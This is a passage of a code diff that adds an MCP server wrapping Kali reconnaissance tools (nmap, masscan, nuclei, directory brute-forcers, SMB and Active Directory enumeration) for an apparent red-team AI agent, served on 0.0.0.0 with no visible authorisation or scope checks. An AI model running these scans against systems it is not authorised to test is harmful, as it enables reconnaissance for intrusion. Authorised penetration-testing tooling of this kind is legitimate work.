ToolSpec("smbmap", "smbmap", DEFAULT_TIMEOUT), + "rpcclient": ToolSpec("rpcclient", "rpcclient", DEFAULT_TIMEOUT), +} + +DEFAULT_WORDLISTS = { + "dirsearch": "/usr/share/wordlists/dirb/common.txt", + "gobuster": "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", + "ffuf": "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt", + "x8": "/usr/share/wordlists/x8/params.txt", +} + +WORKFLOWS = { + "web_reconnaissance": [ + "nmap", "httpx", "katana", "gau", "waybackurls", + "nuclei", "dirsearch", "gobuster", + ], + "api_testing": [ + "httpx", "arjun", "x8", "paramspider", "nuclei", "ffuf", + ], + "network_discovery": [ + "arp-scan", "rustscan", "nmap", "masscan", + "enum4linux-ng", "nbtscan", "smbmap", "rpcclient", + ], +} diff --git a/red_agent/kali_mcp_server/install.sh b/red_agent/kali_mcp_server/install.sh new file mode 100644 index 000000000..1fb17c20b --- /dev/null +++ b/red_agent/kali_mcp_server/install.sh @@ -0,0 +1,62 @@ +#!/usr/bin/env bash +# +# Install the Kali MCP server + all tool binaries on a fresh Kali VM. +# Run as a normal user with sudo rights. Idempotent β€” safe to re-run. + +set -euo pipefail + +REPO_ROOT="$(cd "$(dirname "$0")/../.." && pwd)" +SRC_DIR="$REPO_ROOT/red_agent/kali_mcp_server" +INSTALL_DIR="/opt/kali-mcp" + +echo "[*] apt packages" +sudo apt update +sudo apt install -y \ + python3 python3-venv python3-pip pipx \ + golang-go cargo \ + nmap masscan arp-scan \ + gobuster ffuf nikto \ + enum4linux-ng nbtscan smbmap \ + samba-common-bin + +echo "[*] ProjectDiscovery Go tools" +export PATH="$PATH:$HOME/go/bin" +for tool in \ + github.com/projectdiscovery/httpx/cmd/httpx@latest \ + github.com/projectdiscovery/katana/cmd/katana@latest \ + github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest \ + github.com/lc/gau/v2/cmd/gau@latest \ + github.com/tomnomnom/waybackurls@latest ; do + go install "$tool" +done +nuclei -update-templates || true + +echo "[*] Python tooling via pipx" +pipx install arjun || pipx upgrade arjun +pipx install paramspider || pipx upgrade paramspider +pipx install dirsearch || pipx upgrade dirsearch + +echo "[*] Rust tooling via cargo" +cargo install rustscan || true +cargo install x8 || true + +echo "[*] Deploy MCP server to ${INSTALL_DIR}" +# The package is deployed as a top-level `kali_mcp_server` so the server +# module resolves as `python -m kali_mcp_server.server` on Kali, independent +# of the repo's red_agent/ nesting. +sudo mkdir -p "$INSTALL_DIR" +sudo rsync -a --delete "$SRC_DIR/" "$INSTALL_DIR/kali_mcp_server/" +sudo cp "$SRC_DIR/requirements.txt" "$INSTALL_DIR/requirements.txt" + +sudo python3 -m venv "$INSTALL_DIR/.venv" +sudo "$INSTALL_DIR/.venv/bin/pip" install --upgrade pip +sudo "$INSTALL_DIR/.venv/bin/pip" install -r "$INSTALL_DIR/requirements.txt" + +echo "[*] systemd unit" +sudo cp "$SRC_DIR/systemd/kali-mcp.service" /etc/systemd/system/kali-mcp.service +sudo mkdir -p /var/log/kali-mcp +sudo systemctl daemon-reload +sudo systemctl enable kali-mcp +sudo systemctl restart kali-mcp + +echo "[+] Done. Tail the log with: sudo journalctl -u kali-mcp -f" diff --git a/red_agent/kali_mcp_server/jobs.py b/red_agent/kali_mcp_server/jobs.py new file mode 100644 index 000000000..27b115abf --- /dev/null +++ b/red_agent/kali_mcp_server/jobs.py @@ -0,0 +1,157 @@ +"""In-memory job registry for fire-and-forget tool execution. + +Each submitted coroutine becomes an `asyncio.Task` keyed by job_id. The +registry never blocks β€” `submit()` returns immediately. A periodic GC task +drops completed jobs after JOB_RETENTION_S seconds. +""" + +from __future__ import annotations + +import asyncio +import time +import uuid +from dataclasses import dataclass, field +from typing import Any, Awaitable, Callable + +from loguru import logger + +from .config import JOB_RETENTION_S + + +@dataclass +class JobRecord: + id: str + tool: str + task: asyncio.Task + started_at: float + finished_at: float | None = None + result: dict | None = None + error: str | None = None + extra: dict = field(default_factory=dict) + + @property + def status(self) -> str: + if not self.task.done(): + return "running" + if self.error is not None: + return "error" + return "done" + + def to_status_dict(self) -> dict: + return { + "job_id": self.id, + "tool": self.tool, + "status": self.status, + "started_at": self.started_at, + "finished_at": self.finished_at, + "duration_s": ( + round((self.finished_at or time.time()) - self.started_at, 3) + ), + "error": self.error, + } + + +_jobs: dict[str, JobRecord] = {} +_gc_task: asyncio.Task | None = None + + +def submit(tool: str, coro: Awaitable[dict], extra: dict | None = None) -> str: + """Schedule `coro` to run, return its job_id immediately.""" + _ensure_gc() + job_id = uuid.uuid4().hex[:12] + record = JobRecord( + id=job_id, + tool=tool, + task=asyncio.create_task(_wrap(job_id, coro), name=f"{tool}:{job_id}"), + started_at=time.time(), + extra=extra or {}, + ) + _jobs[job_id] = record + logger.info("job submit id={} tool={}", job_id, tool) + return job_id + + +async def _wrap(job_id: str, coro: Awaitable[dict]) -> dict: + """Run the coro, capture result or exception onto the JobRecord.""" + record = _jobs[job_id] + try: + result = await coro + record.result = result + return result + except asyncio.CancelledError: + record.error = "cancelled" + raise + except Exception as exc: + logger.exception("job error id={} tool={}", job_id, record.tool) + record.error = f"{type(exc).__name__}: {exc}" + record.result = {"tool": record.tool, "ok": False, "error": record.error} + return record.result + finally: + record.finished_at = time.time() + + +def get(job_id: str) -> JobRecord | None: + return _jobs.get(job_id) + + +async def await_result(job_id: str, timeout: float | None = None) -> dict: + record = _jobs.get(job_id) + if record is None: + return {"ok": False, "error": f"unknown job_id {job_id}"} + try: + return await asyncio.wait_for(asyncio.shield(record.task), timeout=timeout) + except asyncio.TimeoutError: + return {"job_id": job_id, "status": "running", "tool": record.tool} + + +def cancel(job_id: str) -> bool: + record = _jobs.get(job_id) + if record is None or record.task.done(): + return False + record.task.cancel() + return True + + +def list_jobs(status: str | None = None) -> list[dict]: + out = [r.to_status_dict() for r in _jobs.values()] + if status: + out = [r for r in out if r["status"] == status] + return out + + +def running_count() -> int: + return sum(1 for r in _jobs.values() if not r.task.done()) + + +def running_per_tool() -> dict[str, int]: + counts: dict[str, int] = {} + for r in _jobs.values(): + if not r.task.done(): + counts[r.tool] = counts.get(r.tool, 0) + 1 + return counts + + +async def _gc_loop() -> None: + while True: + await asyncio.sleep(60) + now = time.time() + stale = [ + jid for jid, r in _jobs.items() + if r.finished_at and (now - r.finished_at) > JOB_RETENTION_S + ] + for jid in stale: + _jobs.pop(jid, None) + if stale: + logger.debug("job gc dropped {} stale", len(stale)) + + +def _ensure_gc() -> None: + """Lazily start the GC loop on the first submit (needs a running loop).""" + global _gc_task + if _gc_task is not None and not _gc_task.done(): + return + try: + _gc_task = asyncio.create_task(_gc_loop(), name="jobs-gc") + except RuntimeError: + # No running loop β€” caller is not inside async context yet. + _gc_task = None diff --git a/red_agent/kali_mcp_server/parsers.py b/red_agent/kali_mcp_server/parsers.py new file mode 100644 index 000000000..9c6e1a093 --- /dev/null +++ b/red_agent/kali_mcp_server/parsers.py @@ -0,0 +1,343 @@ +"""Normalize each tool's stdout into a shared `ToolResult` dict. + +Shape: + { + "tool": str, + "target": str, + "ok": bool, + "duration_s": float, + "returncode": int, + "findings": list[dict], # tool-specific normalized rows + "raw_tail": str, # last 2KB of stdout (for debugging) + "error": str | None, + } + +Every parser is defensive β€” a broken row never raises, it just gets skipped +so the agent still sees the rest of the scan. +""" + +from __future__ import annotations + +import json +import re +from typing import Any + +from .runner import RunResult + +RAW_TAIL_BYTES = 2048 + + +def _base(tool: str, target: str, raw: RunResult) -> dict: + return { + "tool": tool, + "target": target, + "ok": raw.ok, + "duration_s": raw.duration_s, + "returncode": raw.returncode, + "findings": [], + "raw_tail": raw.text_out()[-RAW_TAIL_BYTES:], + "error": None if raw.ok else (raw.text_err()[-500:] or "non-zero exit"), + } + + +def _jsonl(text: str) -> list[dict]: + out: list[dict] = [] + for line in text.splitlines(): + line = line.strip() + if not line: + continue + try: + out.append(json.loads(line)) + except json.JSONDecodeError: + continue + return out + + +# -------- Recon ---------------------------------------------------------- + +def parse_nmap(raw: RunResult, target: str) -> dict: + """Parse nmap XML output from `-oX -`.""" + out = _base("nmap", target, raw) + try: + import xmltodict + data = xmltodict.parse(raw.text_out()) + except Exception as e: + out["error"] = f"xml parse failed: {e}" + return out + + hosts = data.get("nmaprun", {}).get("host", []) + if isinstance(hosts, dict): + hosts = [hosts] + for host in hosts: + addr = host.get("address", {}) + ip = addr.get("@addr") if isinstance(addr, dict) else None + ports_block = host.get("ports", {}) or {} + ports = ports_block.get("port", []) + if isinstance(ports, dict): + ports = [ports] + for p in ports: + state = (p.get("state") or {}).get("@state") + service = p.get("service") or {} + out["findings"].append({ + "host": ip, + "port": int(p.get("@portid", 0)), + "protocol": p.get("@protocol"), + "state": state, + "service": service.get("@name"), + "product": service.get("@product"), + "version": service.get("@version"), + }) + return out + + +def parse_httpx(raw: RunResult, target: str) -> dict: + out = _base("httpx", target, raw) + for row in _jsonl(raw.text_out()): + out["findings"].append({ + "url": row.get("url"), + "status_code": row.get("status_code"), + "title": row.get("title"), + "tech": row.get("tech") or row.get("technologies"), + "webserver": row.get("webserver"), + "content_length": row.get("content_length"), + }) + return out + + +def parse_katana(raw: RunResult, target: str) -> dict: + out = _base("katana", target, raw) + for row in _jsonl(raw.text_out()): + if isinstance(row, dict): + out["findings"].append({ + "url": row.get("endpoint") or row.get("url"), + "source": row.get("source"), + }) + # Plain-text fallback + if not out["findings"]: + for line in raw.text_out().splitlines(): + line = line.strip() + if line.startswith("http"): + out["findings"].append({"url": line}) + return out + + +def parse_gau(raw: RunResult, target: str) -> dict: + out = _base("gau", target, raw) + for line in raw.text_out().splitlines(): + line = line.strip() + if line.startswith("http"): + out["findings"].append({"url": line}) + return out + + +def parse_waybackurls(raw: RunResult, target: str) -> dict: + out = _base("waybackurls", target, raw) + for line in raw.text_out().splitlines(): + line = line.strip() + if line.startswith("http"): + out["findings"].append({"url": line}) + return out + + +def parse_nuclei(raw: RunResult, target: str) -> dict: + out = _base("nuclei", target, raw) + for row in _jsonl(raw.text_out()): + info = row.get("info", {}) or {} + out["findings"].append({ + "template_id": row.get("template-id") or row.get("templateID"), + "name": info.get("name"), + "severity": info.get("severity"), + "host": row.get("host"), + "matched_at": row.get("matched-at") or row.get("matched_at"), + "tags": info.get("tags"), + }) + return out + + +def parse_dirsearch(raw: RunResult, target: str) -> dict: + out = _base("dirsearch", target, raw) + # dirsearch plain output: "[HH:MM:SS] 200 - 123B - /path" + pattern = re.compile(r"\s*(\d{3})\s+-\s+(\S+)\s+-\s+(\S+)") + for line in raw.text_out().splitlines(): + m = pattern.search(line) + if m: + out["findings"].append({ + "status": int(m.group(1)), + "size": m.group(2), + "path": m.group(3), + }) + return out + + +def parse_gobuster(raw: RunResult, target: str) -> dict: + out = _base("gobuster", target, raw) + # "/admin (Status: 301) [Size: 312] [--> /admin/]" + pattern = re.compile(r"^(\S+)\s+\(Status:\s*(\d+)\)\s*(?:\[Size:\s*(\d+)\])?") + for line in raw.text_out().splitlines(): + m = pattern.search(line.strip()) + if m: + out["findings"].append({ + "path": m.group(1), + "status": int(m.group(2)), + "size": int(m.group(3)) if m.group(3) else None, + }) + return out + + +# -------- API ------------------------------------------------------------ + +def parse_arjun(raw: RunResult, target: str) -> dict: + out = _base("arjun", target, raw) + # arjun -oJ writes JSON to a file; when we use -oT stdout has a list + text = raw.text_out() + try: + data = json.loads(text) + if isinstance(data, dict): + for url, info in data.items(): + params = info.get("params") if isinstance(info, dict) else info + out["findings"].append({"url": url, "params": params}) + elif isinstance(data, list): + out["findings"].append({"params": data}) + except json.JSONDecodeError: + for line in text.splitlines(): + line = line.strip() + if line.startswith("[+]") or line.startswith("Parameters:"): + out["findings"].append({"line": line}) + return out + + +def parse_x8(raw: RunResult, target: str) -> dict: + out = _base("x8", target, raw) + # x8 --output-format json emits one JSON object + try: + data = json.loads(raw.text_out()) + if isinstance(data, list): + for row in data: + out["findings"].append(row) + elif isinstance(data, dict): + out["findings"].append(data) + except json.JSONDecodeError: + for line in raw.text_out().splitlines(): + if "Found" in line or "param" in line.lower(): + out["findings"].append({"line": line.strip()}) + return out + + +def parse_paramspider(raw: RunResult, target: str) -> dict: + out = _base("paramspider", target, raw) + for line in raw.text_out().splitlines(): + line = line.strip() + if line.startswith("http") and "=" in line: + out["findings"].append({"url": line}) + return out + + +def parse_ffuf(raw: RunResult, target: str) -> dict: + out = _base("ffuf", target, raw) + try: + data = json.loads(raw.text_out()) + for row in data.get("results", []): + out["findings"].append({ + "url": row.get("url"), + "input": row.get("input"), + "status": row.get("status"), + "length": row.get("length"), + "words": row.get("words"), + }) + except json.JSONDecodeError: + pass + return out + + +# -------- Network -------------------------------------------------------- + +def parse_arp_scan(raw: RunResult, target: str) -> dict: + out = _base("arp-scan", target, raw) + # "192.168.1.5 aa:bb:cc:dd:ee:ff Vendor" + pattern = re.compile( + r"^(\d+\.\d+\.\d+\.\d+)\s+([0-9a-fA-F:]{17})\s*(.*)$" + ) + for line in raw.text_out().splitlines(): + m = pattern.match(line.strip()) + if m: + out["findings"].append({ + "ip": m.group(1), + "mac": m.group(2), + "vendor": m.group(3).strip() or None, + }) + return out + + +def parse_rustscan(raw: RunResult, target: str) -> dict: + out = _base("rustscan", target, raw) + # rustscan -> "Open 192.168.1.1:22" + for line in raw.text_out().splitlines(): + m = re.match(r"Open\s+(\S+?):(\d+)", line.strip()) + if m: + out["findings"].append({"host": m.group(1), "port": int(m.group(2))}) + return out + + +def parse_masscan(raw: RunResult, target: str) -> dict: + out = _base("masscan", target, raw) + # masscan -oJ is a JSON array + try: + text = raw.text_out().strip() + if text.startswith("["): + data = json.loads(text.rstrip(",\n ") + ("]" if not text.endswith("]") else "")) + else: + data = _jsonl(text) + for row in data: + ports = row.get("ports") or [] + for p in ports: + out["findings"].append({ + "ip": row.get("ip"), + "port": p.get("port"), + "proto": p.get("proto"), + "status": p.get("status"), + }) + except Exception: + pass + return out + + +def parse_enum4linux_ng(raw: RunResult, target: str) -> dict: + out = _base("enum4linux-ng", target, raw) + # -oJ file vs stdout β€” if json parse fails, return raw sections + try: + data = json.loads(raw.text_out()) + out["findings"].append(data) + except json.JSONDecodeError: + out["findings"].append({"raw": raw.text_out()[-4000:]}) + return out + + +def parse_nbtscan(raw: RunResult, target: str) -> dict: + out = _base("nbtscan", target, raw) + for line in raw.text_out().splitlines(): + parts = line.split() + if len(parts) >= 2 and re.match(r"\d+\.\d+\.\d+\.\d+", parts[0]): + out["findings"].append({ + "ip": parts[0], + "name": parts[1] if len(parts) > 1 else None, + "details": " ".join(parts[2:]) if len(parts) > 2 else None, + }) + return out + + +def parse_smbmap(raw: RunResult, target: str) -> dict: + out = _base("smbmap", target, raw) + for line in raw.text_out().splitlines(): + line = line.rstrip() + if not line.strip(): + continue + out["findings"].append({"line": line}) + return out + + +def parse_rpcclient(raw: RunResult, target: str) -> dict: + out = _base("rpcclient", target, raw) + for line in raw.text_out().splitlines(): + if line.strip(): + out["findings"].append({"line": line.rstrip()}) + return out diff --git a/red_agent/kali_mcp_server/requirements.txt b/red_agent/kali_mcp_server/requirements.txt new file mode 100644 index 000000000..5420ee979 --- /dev/null +++ b/red_agent/kali_mcp_server/requirements.txt @@ -0,0 +1,5 @@ +fastmcp>=0.4.0 +pydantic>=2.9.0 +loguru>=0.7.2 +xmltodict>=0.13.0 +psutil>=6.0.0 diff --git a/red_agent/kali_mcp_server/runner.py b/red_agent/kali_mcp_server/runner.py new file mode 100644 index 000000000..d93a2249a --- /dev/null +++ b/red_agent/kali_mcp_server/runner.py @@ -0,0 +1,118 @@ +"""Async subprocess launcher. + +Every tool wrapper calls `run()`. It spawns an independent Kali process, with +no semaphore or queue β€” parallelism is bounded only by the OS scheduler. +""" + +from __future__ import annotations + +import asyncio +import os +import signal +import time +from dataclasses import dataclass, field + +from loguru import logger + +from .config import DEFAULT_TIMEOUT + + +@dataclass +class RunResult: + cmd: list[str] + returncode: int + stdout: bytes + stderr: bytes + duration_s: float + pid: int | None + timed_out: bool = False + extra: dict = field(default_factory=dict) + + @property + def ok(self) -> bool: + return self.returncode == 0 and not self.timed_out + + def text_out(self) -> str: + return self.stdout.decode("utf-8", errors="replace") + + def text_err(self) -> str: + return self.stderr.decode("utf-8", errors="replace") + + +async def run( + cmd: list[str], + *, + timeout: int = DEFAULT_TIMEOUT, + stdin: bytes | None = None, + env: dict[str, str] | None = None, + cwd: str | None = None, +) -> RunResult: + """Spawn `cmd` as an independent subprocess and return its RunResult. + + Uses start_new_session=True so the entire process group can be killed on + timeout or cancellation without leaking child scanners. + """ + start = time.monotonic() + logger.debug("spawn {}", " ".join(cmd)) + + # On POSIX we create a new session for killpg. On Windows (tests), fall + # back to plain subprocess β€” the server only runs on Kali anyway. + kwargs = dict( + stdin=asyncio.subprocess.PIPE if stdin is not None else asyncio.subprocess.DEVNULL, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + env={**os.environ, **(env or {})}, + cwd=cwd, + ) + if os.name == "posix": + kwargs["start_new_session"] = True + + proc = await asyncio.create_subprocess_exec(cmd[0], *cmd[1:], **kwargs) + pid = proc.pid + timed_out = False + + try: + stdout, stderr = await asyncio.wait_for( + proc.communicate(input=stdin), timeout=timeout + ) + except asyncio.TimeoutError: + timed_out = True + logger.warning("timeout pid={} cmd={}", pid, cmd[0]) + _kill(proc, pid) + try: + stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=5) + except asyncio.TimeoutError: + stdout, stderr = b"", b"" + except asyncio.CancelledError: + logger.info("cancelled pid={} cmd={}", pid, cmd[0]) + _kill(proc, pid) + raise + finally: + if proc.returncode is None: + _kill(proc, pid) + try: + await asyncio.wait_for(proc.wait(), timeout=2) + except asyncio.TimeoutError: + pass + + duration = time.monotonic() - start + return RunResult( + cmd=cmd, + returncode=proc.returncode if proc.returncode is not None else -1, + stdout=stdout or b"", + stderr=stderr or b"", + duration_s=round(duration, 3), + pid=pid, + timed_out=timed_out, + ) + + +def _kill(proc: asyncio.subprocess.Process, pid: int) -> None: + """Kill the whole process group on POSIX, single proc elsewhere.""" + try: + if os.name == "posix": + os.killpg(os.getpgid(pid), signal.SIGKILL) + else: + proc.kill() + except (ProcessLookupError, PermissionError): + pass diff --git a/red_agent/kali_mcp_server/server.py b/red_agent/kali_mcp_server/server.py new file mode 100644 index 000000000..2906197f8 --- /dev/null +++ b/red_agent/kali_mcp_server/server.py @@ -0,0 +1,377 @@ +"""FastMCP server entry point. + +Exposes every Kali tool wrapper as an MCP tool over SSE transport. All calls +are fire-and-forget: they return a `job_id` immediately unless the caller +passes `wait=True`. + +Run on the Kali VM: + + python -m kali_mcp_server.server +""" + +from __future__ import annotations + +import asyncio +from typing import Any + +import psutil +from fastmcp import FastMCP +from loguru import logger + +from . import jobs +from .config import HOST, PORT, TOOLS +from .tools import api as api_tools +from .tools import network as net_tools +from .tools import recon as recon_tools +from .workflows import run_workflow + +mcp = FastMCP(name="kali-mcp-server") + + +# ---------- Helper: submit-or-wait ------------------------------------- + +async def _submit(tool: str, coro, wait: bool) -> dict: + if wait: + try: + return await coro + except Exception as exc: + logger.exception("{} inline call failed", tool) + return {"tool": tool, "ok": False, "error": f"{type(exc).__name__}: {exc}"} + job_id = jobs.submit(tool, coro) + return {"job_id": job_id, "tool": tool, "status": "running"} + + +# ---------- Recon tools ------------------------------------------------- + +@mcp.tool() +async def run_nmap( + target: str, + scan_type: str = "-sV -sC", + ports: str = "80,443,8080,8443", + wait: bool = False, +) -> dict: + """Service/version scan. Returns job_id unless wait=True.""" + return await _submit("nmap", recon_tools.nmap_impl(target, scan_type, ports), wait) + + +@mcp.tool() +async def run_httpx( + target: str, + probe: bool = True, + tech_detect: bool = True, + wait: bool = False, +) -> dict: + """HTTP probing + tech fingerprinting (ProjectDiscovery httpx).""" + return await _submit("httpx", recon_tools.httpx_impl(target, probe, tech_detect), wait) + + +@mcp.tool() +async def run_katana( + target: str, + depth: int = 3, + js_crawl: bool = True, + wait: bool = False, +) -> dict: + """Headless web crawler.""" + return await _submit("katana", recon_tools.katana_impl(target, depth, js_crawl), wait) + + +@mcp.tool() +async def run_gau(target: str, include_subs: bool = True, wait: bool = False) -> dict: + """Fetch known URLs from OTX/Wayback/Common Crawl.""" + return await _submit("gau", recon_tools.gau_impl(target, include_subs), wait) + + +@mcp.tool() +async def run_waybackurls(target: str, wait: bool = False) -> dict: + """Fetch historic URLs from the Wayback Machine.""" + return await _submit("waybackurls", recon_tools.waybackurls_impl(target), wait) + + +@mcp.tool() +async def run_nuclei( + target: str, + severity: str = "critical,high", + tags: str | None = None, + wait: bool = False, +) -> dict: + """Template-based vulnerability scanner.""" + return await _submit("nuclei", recon_tools.nuclei_impl(target, severity, tags), wait) + + +@mcp.tool() +async def run_dirsearch( + target: str, + extensions: str = "php,html,js,txt", + threads: int = 30, + wait: bool = False, +) -> dict: + """Directory / file brute-forcer.""" + return await _submit("dirsearch", recon_tools.dirsearch_impl(target, extensions, threads), wait) + + +@mcp.tool() +async def run_gobuster( + target: str, + mode: str = "dir", + extensions: str = "php,html,js,txt", + wait: bool = False, +) -> dict: + """Gobuster dir/dns/vhost mode.""" + return await _submit("gobuster", recon_tools.gobuster_impl(target, mode, extensions), wait) + + +# ---------- API tools --------------------------------------------------- + +@mcp.tool() +async def run_arjun( + target: str, + method: str = "GET,POST", + stable: bool = True, + wait: bool = False, +) -> dict: + """HTTP parameter discovery via arjun.""" + return await _submit("arjun", api_tools.arjun_impl(target, method, stable), wait) + + +@mcp.tool() +async def run_x8( + target: str, + method: str = "GET", + wordlist: str | None = None, + wait: bool = False, +) -> dict: + """Hidden-parameter discovery via x8.""" + return await _submit("x8", api_tools.x8_impl(target, method, wordlist), wait) + + +@mcp.tool() +async def run_paramspider(target: str, level: int = 2, wait: bool = False) -> dict: + """Mine URLs with parameters from archived sources.""" + return await _submit("paramspider", api_tools.paramspider_impl(target, level), wait) + + +@mcp.tool() +async def run_ffuf( + target: str, + mode: str = "content", + method: str = "GET", + wordlist: str | None = None, + wait: bool = False, +) -> dict: + """ffuf in content or parameter fuzzing mode.""" + return await _submit("ffuf", api_tools.ffuf_impl(target, mode, method, wordlist), wait) + + +# ---------- Network tools ---------------------------------------------- + +@mcp.tool() +async def run_arp_scan( + cidr: str | None = None, + local_network: bool = True, + wait: bool = False, +) -> dict: + """Layer-2 host discovery.""" + return await _submit("arp-scan", net_tools.arp_scan_impl(cidr, local_network), wait) + + +@mcp.tool() +async def run_rustscan( + target: str, + ulimit: int = 5000, + scripts: bool = False, + wait: bool = False, +) -> dict: + """Fast full-port scanner.""" + return await _submit("rustscan", net_tools.rustscan_impl(target, ulimit, scripts), wait) + + +@mcp.tool() +async def run_nmap_advanced( + target: str, + scan_type: str = "-sS", + os_detection: bool = True, + version_detection: bool = True, + wait: bool = False, +) -> dict: + """SYN scan with OS + version detection.""" + return await _submit( + "nmap-advanced", + net_tools.nmap_advanced_impl(target, scan_type, os_detection, version_detection), + wait, + ) + + +@mcp.tool() +async def run_masscan( + target: str, + rate: int = 1000, + ports: str = "1-65535", + banners: bool = True, + wait: bool = False, +) -> dict: + """Mass TCP port scan.""" + return await _submit("masscan", net_tools.masscan_impl(target, rate, ports, banners), wait) + + +@mcp.tool() +async def run_enum4linux_ng( + target: str, + shares: bool = True, + users: bool = True, + groups: bool = True, + wait: bool = False, +) -> dict: + """SMB/Active Directory enumeration.""" + return await _submit( + "enum4linux-ng", + net_tools.enum4linux_ng_impl(target, shares, users, groups), + wait, + ) + + +@mcp.tool() +async def run_nbtscan(target: str, verbose: bool = True, wait: bool = False) -> dict: + """NetBIOS host scanner.""" + return await _submit("nbtscan", net_tools.nbtscan_impl(target, verbose), wait) + + +@mcp.tool() +async def run_smbmap(target: str, recursive: bool = True, wait: bool = False) -> dict: + """SMB share enumeration.""" + return await _submit("smbmap", net_tools.smbmap_impl(target, recursive), wait) + + +@mcp.tool() +async def run_rpcclient( + target: str, + commands: str = "enumdomusers;enumdomgroups;querydominfo", + wait: bool = False, +) -> dict: + """Run rpcclient commands against a target.""" + return await _submit("rpcclient", net_tools.rpcclient_impl(target, commands), wait) + + +# ---------- Workflows -------------------------------------------------- + +@mcp.tool() +async def web_reconnaissance( + target: str, + wait: bool = False, + only: list[str] | None = None, + skip: list[str] | None = None, +) -> dict: + """Parallel fan-out: nmap, httpx, katana, gau, waybackurls, nuclei, dirsearch, gobuster.""" + return await run_workflow("web_reconnaissance", target, wait=wait, only=only, skip=skip) + + +@mcp.tool() +async def api_testing( + target: str, + wait: bool = False, + only: list[str] | None = None, + skip: list[str] | None = None, +) -> dict: + """Parallel fan-out: httpx, arjun, x8, paramspider, nuclei(api tags), ffuf.""" + return await run_workflow("api_testing", target, wait=wait, only=only, skip=skip) + + +@mcp.tool() +async def network_discovery( + cidr: str, + wait: bool = False, + only: list[str] | None = None, + skip: list[str] | None = None, +) -> dict: + """Parallel fan-out: arp-scan, rustscan, nmap-advanced, masscan, enum4linux-ng, nbtscan, smbmap, rpcclient.""" + return await run_workflow("network_discovery", cidr, wait=wait, only=only, skip=skip) + + +# ---------- Job control ------------------------------------------------ + +@mcp.tool() +async def job_status(job_id: str) -> dict: + """Return {status, tool, started_at, finished_at, duration_s, error}.""" + record = jobs.get(job_id) + if record is None: + return {"ok": False, "error": f"unknown job_id {job_id}"} + return record.to_status_dict() + + +@mcp.tool() +async def job_result(job_id: str, wait: bool = True, timeout: float = 600) -> dict: + """Fetch the parsed result for a job. Blocks until done if wait=True.""" + record = jobs.get(job_id) + if record is None: + return {"ok": False, "error": f"unknown job_id {job_id}"} + if record.task.done(): + return record.result or {"ok": False, "error": record.error or "no result"} + if not wait: + return {"job_id": job_id, "status": "running", "tool": record.tool} + return await jobs.await_result(job_id, timeout=timeout) + + +@mcp.tool() +async def job_cancel(job_id: str) -> dict: + """Cancel a running job (kills the Kali process group).""" + ok = jobs.cancel(job_id) + return {"job_id": job_id, "cancelled": ok} + + +@mcp.tool() +async def list_jobs(status: str | None = None) -> dict: + """Enumerate in-memory jobs. Optional filter: running | done | error.""" + return {"jobs": jobs.list_jobs(status)} + + +# ---------- Server introspection --------------------------------------- + +@mcp.tool() +async def list_tools() -> dict: + """Return installed Kali binaries (by `shutil.which` resolution).""" + return { + "tools": { + name: { + "installed": spec.installed, + "path": spec.resolve(), + "default_timeout": spec.default_timeout, + } + for name, spec in TOOLS.items() + }, + "workflows": ["web_reconnaissance", "api_testing", "network_discovery"], + } + + +@mcp.tool() +async def server_stats() -> dict: + """Live view of load + running jobs. Purely informational.""" + vm = psutil.virtual_memory() + try: + load = psutil.getloadavg() + except (AttributeError, OSError): + load = (0.0, 0.0, 0.0) + return { + "running_jobs": jobs.running_count(), + "per_tool": jobs.running_per_tool(), + "load_avg": list(load), + "mem_free_mb": vm.available // (1024 * 1024), + "mem_percent": vm.percent, + "cpu_percent": psutil.cpu_percent(interval=None), + } + + +# ---------- Lifecycle -------------------------------------------------- + +@mcp.tool() +async def ping() -> dict: + """Liveness check.""" + return {"ok": True, "service": "kali-mcp-server"} + + +def main() -> None: + logger.info("kali-mcp-server starting on {}:{}", HOST, PORT) + mcp.run(transport="sse", host=HOST, port=PORT) + + +if __name__ == "__main__": + main() diff --git a/red_agent/kali_mcp_server/systemd/kali-mcp.service b/red_agent/kali_mcp_server/systemd/kali-mcp.service new file mode 100644 index 000000000..44da6c5c1 --- /dev/null +++ b/red_agent/kali_mcp_server/systemd/kali-mcp.service @@ -0,0 +1,20 @@ +[Unit] +Description=Kali MCP Server (FastMCP SSE on :8765) +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +WorkingDirectory=/opt/kali-mcp +Environment=PYTHONUNBUFFERED=1 +Environment=KALI_MCP_HOST=0.0.0.0 +Environment=KALI_MCP_PORT=8765 +Environment=PATH=/opt/kali-mcp/.venv/bin:/root/go/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ExecStart=/opt/kali-mcp/.venv/bin/python -m kali_mcp_server.server +Restart=on-failure +RestartSec=3 +StandardOutput=append:/var/log/kali-mcp/server.log +StandardError=append:/var/log/kali-mcp/server.err + +[Install] +WantedBy=multi-user.target diff --git a/red_agent/kali_mcp_server/tools/__init__.py b/red_agent/kali_mcp_server/tools/__init__.py new file mode 100644 index 000000000..19e279abb --- /dev/null +++ b/red_agent/kali_mcp_server/tools/__init__.py @@ -0,0 +1 @@ +"""Tool wrappers grouped by category.""" diff --git a/red_agent/kali_mcp_server/tools/api.py b/red_agent/kali_mcp_server/tools/api.py new file mode 100644 index 000000000..88491702f --- /dev/null +++ b/red_agent/kali_mcp_server/tools/api.py @@ -0,0 +1,123 @@ +"""API testing tool wrappers: arjun, x8, paramspider, ffuf.""" + +from __future__ import annotations + +import os +import tempfile + +from .. import parsers +from ..config import DEFAULT_WORDLISTS, TOOLS +from ..runner import run + + +def _binary(name: str) -> str: + spec = TOOLS[name] + resolved = spec.resolve() + if not resolved: + raise RuntimeError(f"{name} not installed (run install.sh)") + return resolved + + +async def arjun_impl( + target: str, + method: str = "GET,POST", + stable: bool = True, +) -> dict: + # arjun writes JSON to a file; we read it back for parsing. + with tempfile.NamedTemporaryFile( + prefix="arjun-", suffix=".json", delete=False + ) as tf: + out_path = tf.name + try: + cmd = [_binary("arjun"), "-u", target, "-m", method, "-oJ", out_path] + if stable: + cmd.append("--stable") + raw = await run(cmd, timeout=TOOLS["arjun"].default_timeout) + try: + with open(out_path, "rb") as fh: + raw.stdout = fh.read() + except FileNotFoundError: + pass + return parsers.parse_arjun(raw, target) + finally: + try: + os.unlink(out_path) + except OSError: + pass + + +async def x8_impl( + target: 